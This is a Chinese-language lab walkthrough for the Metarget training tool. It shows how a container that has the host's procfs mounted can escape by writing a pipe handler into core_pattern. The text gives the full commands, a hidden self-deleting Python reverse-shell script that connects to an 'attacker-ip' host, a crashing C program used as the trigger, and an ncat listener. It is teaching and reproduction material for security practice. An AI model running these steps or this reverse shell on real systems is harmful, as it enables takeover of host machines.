玩转Metarget-0001期-挂载宿主机Procfs导致容器逃逸

场景介绍

对于熟悉Linux和云计算的朋友来说，procfs绝对不是一个陌生的概念，不熟悉的朋友可以参考网络上相关文章或直接在Linux命令行下执行`man proc`查看文档。

procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态，其中有许多十分敏感重要的文件。因此，将宿主机的procfs挂载到不受控的容器中也是十分危险的，尤其是在该容器内默认启用root权限，且没有开启User Namespace时。

一般来说，我们不会将宿主机的procfs挂载到容器中。然而，有些业务为了实现某些特殊需要，还是会将该文件系统挂载进来。

procfs中的`/proc/sys/kernel/core_pattern`负责配置进程崩溃时内存转储数据的导出方式。从手册[1]中我们能获得关于内存转储的详细信息，关键信息如下：

> *从2.6.19内核版本开始，Linux支持在`/proc/sys/kernel/core_pattern`中使用新语法。如果该文件中的首个字符是管道符`|`，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。*

我们可以利用上述机制，在挂载了宿主机procfs的容器内实现逃逸。

环境搭建

基础环境（Docker+K8s）准备（如果已经有任意版本的Docker+K8s环境则可跳过）：

```
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
```

漏洞环境准备：

```
./metarget cnv install mount-host-procfs
```

执行完成后，K8s集群内`metarget`命令空间下将会创建一个名为`mount-host-procfs`的pod。

宿主机的procfs在容器内部的挂载路径是`/host-proc`。

漏洞复现

执行以下命令进入容器：

```
kubectl exec -it -n metarget mount-host-procfs /bin/bash
```

在容器中，首先拿到当前容器在宿主机上的绝对路径：

```
root@mount-host-procfs:/# cat /proc/mounts | grep docker
overlay / overlay
rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SDXPXVSYNB3RPWJYHAD
5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/
lib/docker/overlay2/l/SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/ov
erlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/YYE5
TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06
d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff,workdir
=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da
8662997ec1845f3cc69ccee/work 0 0```
```

从`workdir`可以得到基础路径，结合背景知识可知当前容器在宿主机上的`merged`目录绝对路径如下：

```
/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8
662997ec1845f3cc69ccee/merged
```

向容器内`/host-proc/sys/kernel/core_pattern`内写入以下内容：

```
echo -e
"|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1d
a8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore            " >
/host-proc/sys/kernel/core_pattern
```

然后在容器内创建一个反弹shell的`/tmp/.x.py`：

```
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

chmod +x /tmp/.x.py
```

最后，在容器内运行一个可以崩溃的程序即可，例如：

```c
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
```

容器内若没有编译器，可以先在其他机器上编译好后放入容器中。

完成后，在其他机器上开启shell监听：

```
ncat -lvnp 10000
```

接着在容器内执行上述编译好的崩溃程序，即可获得反弹shell。

参考文献

1. http://man7.org/linux/man-pages/man5/core.5.html